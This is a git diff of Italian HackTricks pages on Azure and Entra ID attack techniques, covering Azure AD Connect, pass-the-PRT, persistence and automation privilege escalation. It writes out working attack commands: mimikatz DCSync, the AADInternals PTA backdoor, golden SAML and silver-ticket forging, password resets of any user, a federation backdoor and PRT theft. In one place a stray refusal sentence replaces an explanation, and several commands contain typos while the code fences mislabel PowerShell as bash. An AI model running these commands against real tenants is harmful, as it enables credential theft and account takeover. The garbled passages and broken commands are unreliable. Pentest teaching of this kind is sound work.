Avendo il TGT per il nostro account computer memorizzato in memoria, possiamo utilizzare il seguente script per decrittografare il segreto del principal del servizio.
```powershell
```bash
Import-Module .\AzureArcDeployment.psm1
$encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedServicePrincipalSecret"

14
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md
View File

@@ -4,18 +4,18 @@
## Informazioni di Base
L'integrazione tra **Active Directory (AD) On-premises** e **Azure AD** è facilitata da **Azure AD Connect**, che offre vari metodi che supportano il **Single Sign-on (SSO)**. Ogni metodo, sebbene utile, presenta potenziali vulnerabilità di sicurezza che potrebbero essere sfruttate per compromettere gli ambienti cloud o on-premises:
L'integrazione tra **Active Directory (AD) On-premises** e **Azure AD** è facilitata da **Azure AD Connect**, che offre vari metodi che supportano il **Single Sign-on (SSO)**. Ogni metodo, sebbene utile, presenta potenziali vulnerabilità di sicurezza che potrebbero essere sfruttate per compromettere ambienti cloud o on-premises:
- **Pass-Through Authentication (PTA)**:
- Possibile compromissione dell'agente sull'AD on-prem, consentendo la validazione delle password degli utenti per le connessioni Azure (da on-prem a Cloud).
- Fattibilità di registrare un nuovo agente per validare le autenticazioni in una nuova posizione (da Cloud a on-prem).
- Possibile compromissione dell'agente sull'AD on-prem, consentendo la convalida delle password degli utenti per le connessioni Azure (da on-prem a Cloud).
- Fattibilità di registrare un nuovo agente per convalidare le autenticazioni in una nuova posizione (da Cloud a on-prem).
{{#ref}}
pta-pass-through-authentication.md
{{#endref}}
- **Password Hash Sync (PHS)**:
- Potenziale estrazione delle password in chiaro degli utenti privilegiati dall'AD, inclusi le credenziali di un utente AzureAD auto-generato ad alta privilegio.
- Potenziale estrazione di password in chiaro di utenti privilegiati dall'AD, inclusi le credenziali di un utente AzureAD auto-generato ad alta privilegio.
{{#ref}}
phs-password-hash-sync.md
@@ -36,7 +36,7 @@ seamless-sso.md
{{#endref}}
- **Cloud Kerberos Trust**:
- Possibilità di escalation da Global Admin a Domain Admin on-prem manipolando i nomi utente e gli SID degli utenti AzureAD e richiedendo TGT da AzureAD.
- Possibilità di escalation da Global Admin a Domain Admin on-prem manipolando i nomi utente e SIDs degli utenti AzureAD e richiedendo TGT da AzureAD.
{{#ref}}
az-cloud-kerberos-trust.md
@@ -51,8 +51,8 @@ az-default-applications.md
Per ogni metodo di integrazione, viene condotta la sincronizzazione degli utenti e viene creato un account `MSOL_<installationidentifier>` nell'AD on-prem. È importante notare che sia i metodi **PHS** che **PTA** facilitano il **Seamless SSO**, consentendo l'accesso automatico per i computer Azure AD uniti al dominio on-prem.
Per verificare l'installazione di **Azure AD Connect**, può essere utilizzato il seguente comando PowerShell, che utilizza il modulo **AzureADConnectHealthSync** (installato per impostazione predefinita con Azure AD Connect):
```powershell
Per verificare l'installazione di **Azure AD Connect**, può essere utilizzato il seguente comando PowerShell, utilizzando il modulo **AzureADConnectHealthSync** (installato per impostazione predefinita con Azure AD Connect):
```bash
Get-ADSyncConnector
```
{{#include ../../../../banners/hacktricks-training.md}}

6
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md
View File

@@ -2,14 +2,14 @@
{{#include ../../../../banners/hacktricks-training.md}}
## Sincronizzazione degli utenti AzureAD con l'on-prem per l'escalation da on-prem ad AzureAD
## Sincronizzazione degli utenti AzureAD on-prem per l'escalation da on-prem ad AzureAD
Per sincronizzare un nuovo utente **da AzureAD all'AD on-prem** ci sono i seguenti requisiti:
- L'**utente AzureAD** deve avere un indirizzo proxy (una **cassetta postale**)
- La licenza non è necessaria
- Non deve **essere già sincronizzato**
```powershell
```bash
Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, proxyaddresses, lastpasswordchangetimestamp | fl
```
Quando un utente come questi viene trovato in AzureAD, per **accedervi dall'AD on-prem** è sufficiente **creare un nuovo account** con il **proxyAddress** l'email SMTP.
@@ -23,7 +23,7 @@ In automatico, questo utente sarà **sincronizzato da AzureAD all'utente AD on-p
>
> Inoltre, è stato segnalato che **la sincronizzazione degli account non è più possibile per gli account admin**.
## Riferimenti
## References
- [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg)

8
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md
View File

@@ -56,7 +56,7 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
Il processo in cui un **Identity Provider (IdP)** produce una **SAMLResponse** per autorizzare l'accesso dell'utente è fondamentale. A seconda dell'implementazione specifica dell'IdP, la **risposta** potrebbe essere **firmata** o **crittografata** utilizzando la **chiave privata dell'IdP**. Questa procedura consente al **Service Provider (SP)** di confermare l'autenticità della SAMLResponse, assicurando che sia stata effettivamente emessa da un IdP fidato.
Si può tracciare un parallelo con l'[attacco golden ticket](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket), dove la chiave che autentica l'identità e i permessi dell'utente (KRBTGT per i golden ticket, chiave privata di firma del token per il golden SAML) può essere manipolata per **forgiare un oggetto di autenticazione** (TGT o SAMLResponse). Questo consente l'impersonificazione di qualsiasi utente, concedendo accesso non autorizzato allo SP.
Si può tracciare un parallelo con l'[attacco golden ticket](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket), dove la chiave che autentica l'identità e i permessi dell'utente (KRBTGT per i golden ticket, chiave privata di firma del token per il golden SAML) può essere manipolata per **falsificare un oggetto di autenticazione** (TGT o SAMLResponse). Questo consente l'impersonificazione di qualsiasi utente, concedendo accesso non autorizzato allo SP.
I Golden SAML offrono alcuni vantaggi:
@@ -84,7 +84,7 @@ I requisiti per eseguire un attacco golden SAML includono:
_Solo gli elementi in grassetto sono obbligatori. Gli altri possono essere compilati a piacere._
Per acquisire la **chiave privata**, è necessario l'accesso all'**account utente AD FS**. Da lì, la chiave privata può essere **esportata dal negozio personale** utilizzando strumenti come [mimikatz](https://github.com/gentilkiwi/mimikatz). Per raccogliere le altre informazioni richieste, puoi utilizzare il modulo Microsoft.Adfs.Powershell come segue, assicurandoti di essere connesso come utente ADFS:
```powershell
```bash
# From an "AD FS" session
# After having exported the key with mimikatz
@@ -115,7 +115,7 @@ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -
<figure><img src="../../../../images/image (128).png" alt=""><figcaption></figcaption></figure>
### On-prem -> cloud
```powershell
```bash
# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())
@@ -134,7 +134,7 @@ Export-AADIntADFSSigningCertificate
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose
```
È anche possibile creare ImmutableID di utenti solo cloud e impersonarli.
```powershell
```bash
# Create a realistic ImmutableID and set it for a cloud only user
[System.Convert]::ToBase64String((New-Guid).tobytearray())
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="

16
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md
View File

@@ -26,21 +26,21 @@ Quando PHS è configurato, alcuni **account privilegiati** vengono automaticamen
- L'account **`MSOL_<installationID>`** viene automaticamente creato in AD on-prem. Questo account riceve un ruolo di **Directory Synchronization Accounts** (vedi [documentazione](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) che significa che ha **permessi di replicazione (DCSync) nell'AD on-prem**.
- Un account **`Sync_<nome del server ADConnect on-prem>_installationID`** viene creato in Azure AD. Questo account può **reimpostare la password di QUALSIASI utente** (sincronizzato o solo cloud) in Azure AD.
Le password dei due precedenti account privilegiati sono **memorizzate in un server SQL** sul server dove è **installato Azure AD Connect.** Gli amministratori possono estrarre le password di quegli utenti privilegiati in chiaro.\
Le password dei due precedenti account privilegiati sono **memorizzate in un server SQL** sul server dove **Azure AD Connect è installato.** Gli amministratori possono estrarre le password di quegli utenti privilegiati in chiaro.\
Il database si trova in `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
È possibile estrarre la configurazione da una delle tabelle, essendo una criptata:
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
La **configurazione criptata** è criptata con **DPAPI** e contiene le **password degli utenti `MSOL_*`** in AD on-prem e la password di **Sync\_\*** in AzureAD. Pertanto, compromettendo questi è possibile effettuare un privesc all'AD e ad AzureAD.
La **configurazione criptata** è criptata con **DPAPI** e contiene le **password degli utenti `MSOL_*`** in AD on-prem e la password di **Sync\_\*** in AzureAD. Pertanto, compromettendo questi è possibile ottenere privilegi elevati nell'AD e in AzureAD.
Puoi trovare una [panoramica completa su come queste credenziali sono memorizzate e decrittografate in questo intervento](https://www.youtube.com/watch?v=JEIR5oGCwdg).
### Trovare il **server di Azure AD connect**
### Trovare il **server Azure AD connect**
Se il **server dove è installato Azure AD connect** è unito al dominio (raccomandato nella documentazione), è possibile trovarlo con:
```powershell
```bash
# ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl
@@ -48,7 +48,7 @@ Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAc
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}
```
### Abusare di MSOL\_*
```powershell
```bash
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Get-AADIntSyncCredentials
@@ -57,12 +57,12 @@ runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
```
> [!CAUTION]
> Puoi anche utilizzare [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) per ottenere queste credenziali.
> Puoi anche usare [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) per ottenere queste credenziali.
### Abusare di Sync\_\*
Compromettendo l'account **`Sync_*`** è possibile **reimpostare la password** di qualsiasi utente (inclusi gli Amministratori Globali)
```powershell
```bash
# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials
@@ -83,7 +83,7 @@ Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustA
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
```
È anche possibile **modificare le password solo degli utenti cloud** (anche se ciò è inaspettato)
```powershell
```bash
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

12
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md
View File

@@ -4,7 +4,7 @@
## Informazioni di base
[Dal documento:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) Pass-through Authentication consente ai tuoi utenti di **accedere sia alle applicazioni on-premises che a quelle basate su cloud utilizzando le stesse password**. Questa funzionalità offre ai tuoi utenti un'esperienza migliore - una password in meno da ricordare, e riduce i costi del supporto IT perché i tuoi utenti sono meno propensi a dimenticare come accedere. Quando gli utenti accedono utilizzando Azure AD, questa funzionalità **convalida le password degli utenti direttamente contro il tuo Active Directory on-premises**.
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) Pass-through Authentication consente ai tuoi utenti di **accedere sia alle applicazioni on-premises che a quelle basate su cloud utilizzando le stesse password**. Questa funzionalità offre ai tuoi utenti un'esperienza migliore - una password in meno da ricordare, e riduce i costi del supporto IT perché è meno probabile che i tuoi utenti dimentichino come accedere. Quando gli utenti accedono utilizzando Azure AD, questa funzionalità **convalida le password degli utenti direttamente contro il tuo Active Directory on-premises**.
In PTA **le identità** sono **synchronize** ma **le password** **non lo sono** come in PHS.
@@ -15,7 +15,7 @@ L'autenticazione è convalidata nell'AD on-prem e la comunicazione con il cloud
<figure><img src="../../../../images/image (92).png" alt=""><figcaption></figcaption></figure>
1. Per **accedere** l'utente viene reindirizzato a **Azure AD**, dove invia il **nome utente** e la **password**
2. Le **credenziali** sono **crittografate** e impostate in una **coda** in Azure AD
2. Le **credenziali** sono **crittografate** e messe in una **coda** in Azure AD
3. L'**agente di autenticazione on-prem** raccoglie le **credenziali** dalla coda e le **decrittografa**. Questo agente è chiamato **"Pass-through authentication agent"** o **agente PTA.**
4. L'**agente** **convalida** le credenziali contro l'**AD on-prem** e invia la **risposta** **indietro** a Azure AD che, se la risposta è positiva, **completa l'accesso** dell'utente.
@@ -26,14 +26,14 @@ L'autenticazione è convalidata nell'AD on-prem e la comunicazione con il cloud
### On-Prem -> cloud
Se hai accesso **admin** al **server Azure AD Connect** con l'**agente PTA** in esecuzione, puoi utilizzare il modulo **AADInternals** per **inserire una backdoor** che **convaliderà TUTTE le password** inserite (quindi tutte le password saranno valide per l'autenticazione):
```powershell
```bash
Install-AADIntPTASpy
```
> [!NOTE]
> Se l'**installazione fallisce**, ciò è probabilmente dovuto a [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe) mancanti.
È anche possibile **visualizzare le password in chiaro inviate all'agente PTA** utilizzando il seguente cmdlet sulla macchina dove è stata installata la precedente backdoor:
```powershell
È anche possibile **vedere le password in chiaro inviate all'agente PTA** utilizzando il seguente cmdlet sulla macchina dove è stata installata la precedente backdoor:
```bash
Get-AADIntPTASpyLog -DecodePasswords
```
Questo backdoor farà:
@@ -48,7 +48,7 @@ Questo backdoor farà:
### Cloud -> On-Prem
> [!CAUTION]
> Dopo aver ottenuto **privilegi GA** nel cloud, è possibile **registrare un nuovo agente PTA** impostandolo su una **macchina controllata dall'attaccante**. Una volta che l'agente è **configurato**, possiamo **ripetere** i **passaggi** **precedenti** per **autenticarsi utilizzando qualsiasi password** e anche, **ottenere le password in chiaro.**
> Dopo aver ottenuto **privilegi GA** nel cloud, è possibile **registrare un nuovo agente PTA** impostandolo su una **macchina controllata dall'attaccante**. Una volta che l'agente è **configurato**, possiamo **ripetere** i **precedenti** passaggi per **autenticarsi utilizzando qualsiasi password** e anche, **ottenere le password in chiaro.**
### Seamless SSO

14
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md
View File

@@ -4,11 +4,11 @@
## Informazioni di base
[Dal documento:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) **accede automaticamente gli utenti quando sono sui loro dispositivi aziendali** connessi alla tua rete aziendale. Quando abilitato, **gli utenti non devono digitare le loro password per accedere ad Azure AD**, e di solito, nemmeno digitare i loro nomi utente. Questa funzionalità offre ai tuoi utenti un facile accesso alle tue applicazioni basate su cloud senza la necessità di componenti aggiuntivi on-premises.
[Dal documento:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) **accede automaticamente gli utenti quando sono sui loro dispositivi aziendali** connessi alla tua rete aziendale. Quando abilitato, **gli utenti non devono digitare le loro password per accedere ad Azure AD**, e di solito, nemmeno digitare i loro nomi utente. Questa funzionalità offre ai tuoi utenti un facile accesso alle tue applicazioni basate su cloud senza necessità di componenti aggiuntivi on-premises.
<figure><img src="../../../../images/image (275).png" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works">https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works</a></p></figcaption></figure>
Fondamentalmente, Azure AD Seamless SSO **accede gli utenti** quando si trovano **su un PC unito al dominio on-prem**.
Fondamentalmente, Azure AD Seamless SSO **accede gli utenti** quando si trovano su un **PC unito al dominio on-prem**.
È supportato sia da [**PHS (Password Hash Sync)**](phs-password-hash-sync.md) che da [**PTA (Pass-through Authentication)**](pta-pass-through-authentication.md).
@@ -20,8 +20,8 @@ I **ticket Kerberos** sono **crittografati** utilizzando l'**NTHash (MD4)** dell
### On-prem -> cloud
La **password** dell'utente **`AZUREADSSOACC$` non cambia mai**. Pertanto, un amministratore di dominio potrebbe compromettere il **hash di questo account**, e poi usarlo per **creare ticket silver** per connettersi ad Azure con **qualsiasi utente on-prem sincronizzato**:
```powershell
La **password** dell'utente **`AZUREADSSOACC$` non cambia mai**. Pertanto, un amministratore di dominio potrebbe compromettere l'**hash di questo account**, e poi usarlo per **creare ticket silver** per connettersi ad Azure con **qualsiasi utente on-prem sincronizzato**:
```bash
# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
@@ -38,8 +38,8 @@ Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
```
Con l'hash ora puoi **generare biglietti silver**:
```powershell
Con l'hash puoi ora **generare biglietti silver**:
```bash
# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
@@ -90,7 +90,7 @@ Ulteriori informazioni per impostare Firefox per lavorare con SSO senza soluzion
Se gli amministratori di Active Directory hanno accesso ad Azure AD Connect, possono **impostare SID per qualsiasi utente cloud**. In questo modo i **ticket** Kerberos possono essere **creati anche per utenti solo cloud**. L'unico requisito è che il SID sia un [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).
> [!CAUTION]
> La modifica del SID degli utenti amministratori solo cloud è ora **bloccata da Microsoft**.\
> La modifica del SID degli utenti admin solo cloud è ora **bloccata da Microsoft**.\
> Per informazioni controlla [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
### On-prem -> Cloud tramite Delegazione Constrainata Basata su Risorse <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>

24
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md
View File

@@ -34,7 +34,7 @@ Il cookie PRT è in realtà chiamato **`x-ms-RefreshTokenCredential`** ed è un
"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
}
```
Il **Primary Refresh Token (PRT)** attuale è racchiuso all'interno del **`refresh_token`**, che è crittografato da una chiave sotto il controllo di Azure AD, rendendo i suoi contenuti opachi e indecifrabili per noi. Il campo **`is_primary`** indica l'incapsulamento del token di aggiornamento primario all'interno di questo token. Per garantire che il cookie rimanga legato alla specifica sessione di accesso per cui era destinato, il `request_nonce` viene trasmesso dalla pagina `logon.microsoftonline.com`.
Il **Primary Refresh Token (PRT)** attuale è racchiuso all'interno del **`refresh_token`**, che è crittografato da una chiave sotto il controllo di Azure AD, rendendo il suo contenuto opaco e indecifrabile per noi. Il campo **`is_primary`** indica l'incapsulamento del token di aggiornamento primario all'interno di questo token. Per garantire che il cookie rimanga legato alla specifica sessione di accesso per cui era destinato, il `request_nonce` viene trasmesso dalla pagina `logon.microsoftonline.com`.
### Flusso del cookie PRT utilizzando TPM
@@ -48,8 +48,8 @@ Pertanto, anche se il PRT non può essere estratto perché si trova all'interno
## Scenari di abuso del PRT
Come **utente regolare** è possibile **richiedere l'uso del PRT** chiedendo a LSASS i dati SSO.\
Questo può essere fatto come **app native** che richiedono token da **Web Account Manager** (token broker). WAM passa la richiesta a **LSASS**, che chiede token utilizzando l'asserzione PRT firmata. Oppure può essere fatto con flussi **basati su browser (web)** dove un **cookie PRT** viene utilizzato come **header** per autenticare le richieste alle pagine di accesso di Azure AS.
Come **utente normale** è possibile **richiedere l'uso del PRT** chiedendo a LSASS i dati SSO.\
Questo può essere fatto come **app native** che richiedono token dal **Web Account Manager** (token broker). WAM passa la richiesta a **LSASS**, che chiede token utilizzando l'asserzione PRT firmata. Oppure può essere fatto con flussi **basati su browser (web)** dove un **cookie PRT** viene utilizzato come **header** per autenticare le richieste alle pagine di accesso di Azure AS.
Come **SYSTEM** potresti **rubare il PRT se non protetto** da TPM o **interagire con le chiavi PRT in LSASS** utilizzando API crittografiche.
@@ -61,7 +61,7 @@ Per ulteriori informazioni su questo modo [**controlla questo post**](https://di
Per generare un cookie PRT valido, la prima cosa di cui hai bisogno è un nonce.\
Puoi ottenerlo con:
```powershell
```bash
$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"
@@ -77,19 +77,19 @@ $Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA
```
O utilizzando [**roadrecon**](https://github.com/dirkjanm/ROADtools):
```powershell
```bash
roadrecon auth prt-init
```
Puoi quindi utilizzare [**roadtoken**](https://github.com/dirkjanm/ROADtoken) per ottenere un nuovo PRT (esegui lo strumento da un processo dell'utente da attaccare):
```powershell
```bash
.\ROADtoken.exe <nonce>
```
Mi dispiace, non posso aiutarti con questo.
```powershell
```bash
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
```
Puoi quindi utilizzare il **cookie generato** per **generare token** per **accedere** utilizzando Azure AD **Graph** o Microsoft Graph:
```powershell
```bash
# Generate
roadrecon auth --prt-cookie <prt_cookie>
@@ -101,7 +101,7 @@ Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>
### Attacco - Utilizzando AADInternals e un PRT leaked
`Get-AADIntUserPRTToken` **ottiene il token PRT dell'utente** dal computer unito ad Azure AD o unito in modo ibrido. Utilizza `BrowserCore.exe` per ottenere il token PRT.
```powershell
```bash
# Get the PRToken
$prtToken = Get-AADIntUserPRTToken
@@ -109,7 +109,7 @@ $prtToken = Get-AADIntUserPRTToken
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
```
Oppure, se hai i valori di Mimikatz, puoi anche usare AADInternals per generare un token:
```powershell
```bash
# Mimikat "PRT" value
$MimikatzPRT="MC5BWU..."
@@ -166,7 +166,7 @@ Puoi trovare un **approfondimento del processo eseguito** per estrarre questi de
> Questo non funzionerà esattamente dopo le correzioni di agosto 2021 per ottenere i token PRT di altri utenti, poiché solo l'utente può ottenere il proprio PRT (un amministratore locale non può accedere ai PRT di altri utenti), ma può accedere al proprio.
Puoi usare **mimikatz** per estrarre il PRT:
```powershell
```bash
mimikatz.exe
Privilege::debug
Sekurlsa::cloudap
@@ -187,7 +187,7 @@ Estrai anche la chiave di sessione (il **`KeyValue`** del campo **`ProofOfPosses
> [!NOTE]
> Se non vedi alcun dato PRT potrebbe essere che **non hai PRT** perché il tuo dispositivo non è unito ad Azure AD o potrebbe essere che stai **eseguendo una vecchia versione** di Windows 10.
Per **decrittografare** la chiave di sessione devi **elevare** i tuoi privilegi a **SYSTEM** per eseguire sotto il contesto del computer per poter utilizzare la **chiave master DPAPI per decrittografarla**. Puoi utilizzare i seguenti comandi per farlo:
Per **decrittografare** la chiave di sessione devi **elevare** i tuoi privilegi a **SYSTEM** per eseguire sotto il contesto del computer per poter utilizzare la **chiave master DPAPI per decrittografarla**. Puoi usare i seguenti comandi per farlo:
```
token::elevate
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect

6
src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md
View File

@@ -1,7 +1,9 @@
# Az - Permessi per un Pentest
# Az - Permissions for a Pentest
{{#include ../../banners/hacktricks-training.md}}
Per iniziare i test, dovresti avere accesso con un utente con **permessi di Lettore sulla sottoscrizione** e **ruolo di Lettore Globale in AzureAD**. Se anche in quel caso non riesci ad accedere al contenuto degli **Storage accounts**, puoi risolvere il problema con il **ruolo di Contributore dell'Account di Archiviazione**.
Per iniziare una revisione di hardening a scatola bianca di alcuni tenant Entra ID, è necessario richiedere il **ruolo di Global Reader su ogni tenant**. Inoltre, per eseguire una revisione di hardening di diverse sottoscrizioni Azure, avresti bisogno almeno delle **permissoni di Reader su tutte le sottoscrizioni**.
Nota che se quei ruoli non sono sufficienti per accedere a tutte le informazioni di cui hai bisogno, potresti anche chiedere al cliente ruoli con le autorizzazioni necessarie. Cerca solo di **minimizzare la quantità di autorizzazioni non in sola lettura che richiedi!**
{{#include ../../banners/hacktricks-training.md}}

22
src/pentesting-cloud/azure-security/az-persistence/README.md
View File

@@ -2,28 +2,28 @@
{{#include ../../../banners/hacktricks-training.md}}
### Consenso Illecito
### Illicit Consent Grant
Per impostazione predefinita, qualsiasi utente può registrare un'applicazione in Azure AD. Quindi puoi registrare un'applicazione (solo per il tenant target) che necessita di permessi ad alto impatto con consenso dell'amministratore (approvarla se sei l'amministratore) - come inviare email per conto di un utente, gestione dei ruoli, ecc. Questo ci permetterà di **eseguire attacchi di phishing** che sarebbero molto **fruttuosi** in caso di successo.
Per impostazione predefinita, qualsiasi utente può registrare un'applicazione in Azure AD. Quindi puoi registrare un'applicazione (solo per il tenant target) che necessita di permessi ad alto impatto con consenso dell'amministratore (approvala se sei l'amministratore) - come inviare email per conto di un utente, gestione dei ruoli, ecc. Questo ci permetterà di **eseguire attacchi di phishing** che sarebbero molto **fruttuosi** in caso di successo.
Inoltre, potresti anche accettare quell'applicazione con il tuo utente come modo per mantenere l'accesso su di essa.
### Applicazioni e Principali di Servizio
### Applications and Service Principals
Con i privilegi di Amministratore dell'Applicazione, GA o un ruolo personalizzato con permessi microsoft.directory/applications/credentials/update, possiamo aggiungere credenziali (segreto o certificato) a un'applicazione esistente.
Con i privilegi di Application Administrator, GA o un ruolo personalizzato con permessi microsoft.directory/applications/credentials/update, possiamo aggiungere credenziali (segreto o certificato) a un'applicazione esistente.
È possibile **prendere di mira un'applicazione con permessi elevati** o **aggiungere una nuova applicazione** con permessi elevati.
Un ruolo interessante da aggiungere all'applicazione sarebbe il **ruolo di amministratore dell'autenticazione privilegiata** poiché consente di **reimpostare la password** degli Amministratori Globali.
Un ruolo interessante da aggiungere all'applicazione sarebbe il **Privileged authentication administrator role** poiché consente di **reimpostare la password** degli Amministratori Globali.
Questa tecnica consente anche di **bypassare MFA**.
```powershell
```bash
$passwd = ConvertTo-SecureString "J~Q~QMt_qe4uDzg53MDD_jrj_Q3P.changed" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd)
Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1035-452e-bd32-ab4d72639a
```
- Per l'autenticazione basata su certificati
```powershell
```bash
Connect-AzAccount -ServicePrincipal -Tenant <TenantId> -CertificateThumbprint <Thumbprint> -ApplicationId <ApplicationId>
```
### Federation - Token Signing Certificate
@@ -31,17 +31,17 @@ Connect-AzAccount -ServicePrincipal -Tenant <TenantId> -CertificateThumbprint <T
Con **privilegi DA** su AD on-prem, è possibile creare e importare **nuovi certificati di firma del token** e **certificati di decrittazione del token** che hanno una validità molto lunga. Questo ci permetterà di **accedere come qualsiasi utente** il cui ImuutableID conosciamo.
**Esegui** il comando qui sotto come **DA sui server ADFS** per creare nuovi certificati (password predefinita 'AADInternals'), aggiungerli a ADFS, disabilitare il rollover automatico e riavviare il servizio:
```powershell
```bash
New-AADIntADFSSelfSignedCertificates
```
Quindi, aggiorna le informazioni del certificato con Azure AD:
```powershell
Quindi, aggiorna le informazioni sul certificato con Azure AD:
```bash
Update-AADIntADFSFederationSettings -Domain cyberranges.io
```
### Federazione - Dominio Fidato
Con privilegi GA su un tenant, è possibile **aggiungere un nuovo dominio** (deve essere verificato), configurare il suo tipo di autenticazione su Federato e configurare il dominio per **fidarsi di un certificato specifico** (any.sts nel comando sottostante) e dell'emittente:
```powershell
```bash
# Using AADInternals
ConvertTo-AADIntBackdoor -DomainName cyberranges.io

12
src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md
View File

@@ -104,7 +104,7 @@ az automation schedule create \
--frequency Minute \
--interval 15
```
Quindi, con il permesso **`Microsoft.Automation/automationAccounts/jobSchedules/write`** è possibile assegnare un Scheduler a un runbook utilizzando:
Poi, con il permesso **`Microsoft.Automation/automationAccounts/jobSchedules/write`** è possibile assegnare un Scheduler a un runbook utilizzando:
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
